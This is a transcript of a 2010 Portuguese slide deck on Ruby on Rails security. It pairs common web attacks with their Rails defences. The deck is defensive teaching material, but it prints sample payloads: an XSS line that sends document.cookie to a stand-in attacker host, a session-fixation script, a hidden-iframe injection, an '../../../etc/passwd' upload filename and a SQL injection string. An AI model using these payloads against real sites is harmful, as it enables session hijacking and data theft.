SegurançA E Ruby On Rails

894
-1

Published on

Segurança e Ruby on Rails: O que você deve fazer, e o que o Rails pode fazer por você

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
894
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
34
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

SegurançA E Ruby On Rails

  1. 1. Segurança & Ruby on Rails http://julio.monteiro.eti.br quinta-feira, 28 de janeiro de 2010
  2. 2. whoami quinta-feira, 28 de janeiro de 2010
  3. 3. Joinville, SC quinta-feira, 28 de janeiro de 2010
  4. 4. CCT, UDESC quinta-feira, 28 de janeiro de 2010
  5. 5. quinta-feira, 28 de janeiro de 2010
  6. 6. quinta-feira, 28 de janeiro de 2010
  7. 7. Joinville,  SC quinta-feira, 28 de janeiro de 2010
  8. 8. Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  9. 9. São  Paulo,  SP Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  10. 10. Benguela,  Angola São  Paulo,  SP Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  11. 11. ra ut ss o az iro od dr du la ov el an te zo dr ha d n on ca ev an rri za ac fra jm ed ev ga gil m @ @ @ @ @ @ @ @p @r @j @p @m @a at ob ack ita sp i ne ric ert so n gor aze lize kes oe rov asg pa sp i ina g ra ke nh a quinta-feira, 28 de janeiro de 2010
  12. 12. Sessões quinta-feira, 28 de janeiro de 2010
  13. 13. Sessões • HTTP é um protocolo stateless • Sessão é identificada por um cookie (contendo uma identificação e um hash) • Enviado do servidor para o cliente, e do cliente para o servidor quinta-feira, 28 de janeiro de 2010
  14. 14. quinta-feira, 28 de janeiro de 2010
  15. 15. Roubo de Sessão quinta-feira, 28 de janeiro de 2010
  16. 16. Roubo de Sessão • Roubo de um arquivo de cookie por um “atacante” • Permite que o atacante aja em nome da vítima quinta-feira, 28 de janeiro de 2010
  17. 17. Como uma sessão pode ser roubada? Roubo Como combater? quinta-feira, 28 de janeiro de 2010
  18. 18. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede quinta-feira, 28 de janeiro de 2010
  19. 19. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) quinta-feira, 28 de janeiro de 2010
  20. 20. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores “públicos” quinta-feira, 28 de janeiro de 2010
  21. 21. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão quinta-feira, 28 de janeiro de 2010
  22. 22. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation quinta-feira, 28 de janeiro de 2010
  23. 23. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) quinta-feira, 28 de janeiro de 2010
  24. 24. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS quinta-feira, 28 de janeiro de 2010
  25. 25. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS (mais adiante) quinta-feira, 28 de janeiro de 2010
  26. 26. Dica: Nunca armazene objetos grandes em uma sessão. quinta-feira, 28 de janeiro de 2010
  27. 27. Dica: Nunca armazene informações críticas em uma sessão. quinta-feira, 28 de janeiro de 2010
  28. 28. Como uma sessão é armazenada? quinta-feira, 28 de janeiro de 2010
  29. 29. Como uma sessão é armazenada? • ActiveRecordStore: armazena no banco de dados (tabela “sessions”) • CookieStore: armazena em um cookie do usuário quinta-feira, 28 de janeiro de 2010
  30. 30. quinta-feira, 28 de janeiro de 2010
  31. 31. Replay Attack no CookieStore quinta-feira, 28 de janeiro de 2010
  32. 32. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) quinta-feira, 28 de janeiro de 2010
  33. 33. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 quinta-feira, 28 de janeiro de 2010
  34. 34. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 quinta-feira, 28 de janeiro de 2010
  35. 35. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente quinta-feira, 28 de janeiro de 2010
  36. 36. Session Fixation quinta-feira, 28 de janeiro de 2010
  37. 37. Session Fixation <script> document.cookie="_session_id=16d5b78abb 28e3d6206b60f22a03c8d9"; </script> quinta-feira, 28 de janeiro de 2010
  38. 38. quinta-feira, 28 de janeiro de 2010 Session Fixation
  39. 39. Como combater Session Fixation? Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou navegador). quinta-feira, 28 de janeiro de 2010
  40. 40. Expirando sessões quinta-feira, 28 de janeiro de 2010
  41. 41. Expirando sessões • Expire-as de tempo em tempo (com base no updated_at e no created_at) • Um simples rake no crontab já resolve quinta-feira, 28 de janeiro de 2010
  42. 42. CSRF quinta-feira, 28 de janeiro de 2010
  43. 43. CSRF • Cross-Site Request Forgery • Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação quinta-feira, 28 de janeiro de 2010
  44. 44. CSRF quinta-feira, 28 de janeiro de 2010
  45. 45. Como combater CSRF? Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) quinta-feira, 28 de janeiro de 2010
  46. 46. quinta-feira, 28 de janeiro de 2010
  47. 47. quinta-feira, 28 de janeiro de 2010
  48. 48. Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token quinta-feira, 28 de janeiro de 2010
  49. 49. Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token quinta-feira, 28 de janeiro de 2010
  50. 50. Injeção em Redirecionamentos quinta-feira, 28 de janeiro de 2010
  51. 51. Injeção em Redirecionamentos http://www.example.com/site/legacy? param1=xy&param2=23& host=www.attacker.com quinta-feira, 28 de janeiro de 2010
  52. 52. Como combater injeções em Redirecionamentos? Não aceite URLs (ou partes dela) como parâmetro. quinta-feira, 28 de janeiro de 2010
  53. 53. Uploads de arquivos quinta-feira, 28 de janeiro de 2010
  54. 54. Uploads de arquivos • Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo. • Se você armazena os arquivos em /var/ www/uploads, imagine se alguém fizer upload de um arquivo chamado ../../../etc/passwd ? quinta-feira, 28 de janeiro de 2010
  55. 55. Como combater uploads maliciosos? Evite receber o nome do arquivo, ou crie um filtro com expressão regular. quinta-feira, 28 de janeiro de 2010
  56. 56. DoS por uploads quinta-feira, 28 de janeiro de 2010
  57. 57. DoS por uploads • Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente. • Imagine alguém enviando milhares de arquivos ao mesmo tempo? quinta-feira, 28 de janeiro de 2010
  58. 58. Como combater DoS por uploads? Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em uma máquina separada. quinta-feira, 28 de janeiro de 2010
  59. 59. Upload de executáveis quinta-feira, 28 de janeiro de 2010
  60. 60. Upload de executáveis • Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host) quinta-feira, 28 de janeiro de 2010
  61. 61. Como combater DoS por uploads? Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele diretório. quinta-feira, 28 de janeiro de 2010
  62. 62. Downloads não autorizados quinta-feira, 28 de janeiro de 2010
  63. 63. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em: quinta-feira, 28 de janeiro de 2010
  64. 64. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em: quinta-feira, 28 de janeiro de 2010
  65. 65. Como combater downloads não autorizados? quinta-feira, 28 de janeiro de 2010
  66. 66. Como combater downloads não autorizados? Opcionalmente, armazene o nome do arquivo no banco de dados, identificando- o para o usuário através de um id. quinta-feira, 28 de janeiro de 2010
  67. 67. Mass Assignment quinta-feira, 28 de janeiro de 2010
  68. 68. Mass Assignment • Você sabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :) quinta-feira, 28 de janeiro de 2010
  69. 69. Mass Assignment quinta-feira, 28 de janeiro de 2010
  70. 70. Mass Assignment http://www.example.com/user/signup? user[user]=ow3ned&user[admin]=1 quinta-feira, 28 de janeiro de 2010
  71. 71. Como combater aproveitamentos do mass assignment? quinta-feira, 28 de janeiro de 2010
  72. 72. Como combater aproveitamentos do mass assignment? Modo paranóico: quinta-feira, 28 de janeiro de 2010
  73. 73. Força bruta no login do usuário quinta-feira, 28 de janeiro de 2010
  74. 74. Como combater ataque de força bruta? CAPTCH depois de determinadas tentativas falhas de login. Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”. quinta-feira, 28 de janeiro de 2010
  75. 75. Hijacks diversos quinta-feira, 28 de janeiro de 2010
  76. 76. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. quinta-feira, 28 de janeiro de 2010
  77. 77. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar quinta-feira, 28 de janeiro de 2010
  78. 78. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar • Outros: lembra do “problema” do GMail? quinta-feira, 28 de janeiro de 2010
  79. 79. CAPTCHA quinta-feira, 28 de janeiro de 2010
  80. 80. CAPTCHA negativo quinta-feira, 28 de janeiro de 2010
  81. 81. Informações sensíveis no Log quinta-feira, 28 de janeiro de 2010
  82. 82. Como combater informações sensíveis no log? quinta-feira, 28 de janeiro de 2010
  83. 83. Expressões regulares quinta-feira, 28 de janeiro de 2010
  84. 84. Expressões regulares quinta-feira, 28 de janeiro de 2010
  85. 85. Expressões regulares quinta-feira, 28 de janeiro de 2010
  86. 86. Como combater aproveitamento de expressões regulares? Use A ao invés de ^ Use Z ao invés de $ quinta-feira, 28 de janeiro de 2010
  87. 87. Escalação de privilégios quinta-feira, 28 de janeiro de 2010
  88. 88. Escalação de privilégios http://www.example.com/projects/1 quinta-feira, 28 de janeiro de 2010
  89. 89. Escalação de privilégios quinta-feira, 28 de janeiro de 2010
  90. 90. Como combater aproveitamento de expressões regulares? quinta-feira, 28 de janeiro de 2010
  91. 91. Whitelist > Blacklist quinta-feira, 28 de janeiro de 2010
  92. 92. Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] quinta-feira, 28 de janeiro de 2010
  93. 93. Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected quinta-feira, 28 de janeiro de 2010
  94. 94. Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected • Permita somente <strong> ao invés de remover <script> quinta-feira, 28 de janeiro de 2010
  95. 95. Injeção SQL quinta-feira, 28 de janeiro de 2010
  96. 96. Injeção SQL quinta-feira, 28 de janeiro de 2010
  97. 97. Injeção SQL ' OR 1 -- quinta-feira, 28 de janeiro de 2010
  98. 98. Injeção SQL ' OR 1 -- SELECT * FROM projects WHERE name = '' OR 1 --' quinta-feira, 28 de janeiro de 2010
  99. 99. Como combater injeções SQL? quinta-feira, 28 de janeiro de 2010
  100. 100. XSS quinta-feira, 28 de janeiro de 2010
  101. 101. XSS • Cross Site Scripting • Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report. • Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008. • Diversas ferramentas para auxiliar estes ataques, como o MPack. quinta-feira, 28 de janeiro de 2010
  102. 102. XSS: Injeção JavaScript quinta-feira, 28 de janeiro de 2010
  103. 103. XSS: Injeção JavaScript <script>alert('Hello');</script> <table background="javascript:alert('Hello')"> quinta-feira, 28 de janeiro de 2010
  104. 104. XSS: Roubo de Cookie quinta-feira, 28 de janeiro de 2010
  105. 105. XSS: Roubo de Cookie <script>document.write(document.cookie);</script> <script>document.write('<img src="http:// www.attacker.com/' + document.cookie + '">');</script> quinta-feira, 28 de janeiro de 2010
  106. 106. XSS: Defacement quinta-feira, 28 de janeiro de 2010
  107. 107. XSS: Defacement <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> quinta-feira, 28 de janeiro de 2010
  108. 108. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. quinta-feira, 28 de janeiro de 2010
  109. 109. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML (), também chamado de h(). quinta-feira, 28 de janeiro de 2010
  110. 110. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML (), também chamado de h(). <%=h @user.name %> quinta-feira, 28 de janeiro de 2010
  111. 111. XSS: Injeção CSS quinta-feira, 28 de janeiro de 2010
  112. 112. XSS: Injeção CSS background:url('javascript:alert(1)') quinta-feira, 28 de janeiro de 2010
  113. 113. Como combater estes ataque XSS de injeção CSS? Evite CSS personalizado. quinta-feira, 28 de janeiro de 2010
  114. 114. Dicas sobre a interface administrativa quinta-feira, 28 de janeiro de 2010
  115. 115. Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. quinta-feira, 28 de janeiro de 2010
  116. 116. Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). quinta-feira, 28 de janeiro de 2010
  117. 117. Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). • Que tal uma senha especial para ações importantes, como deletar usuários? quinta-feira, 28 de janeiro de 2010
  118. 118. http://www.pragprog.com quinta-feira, 28 de janeiro de 2010
  119. 119. http://www.rorsecurity.info quinta-feira, 28 de janeiro de 2010
  120. 120. http://guias.rubyonrails.pro.br/ quinta-feira, 28 de janeiro de 2010
  121. 121. Segurança & Ruby on Rails http://julio.monteiro.eti.br quinta-feira, 28 de janeiro de 2010

×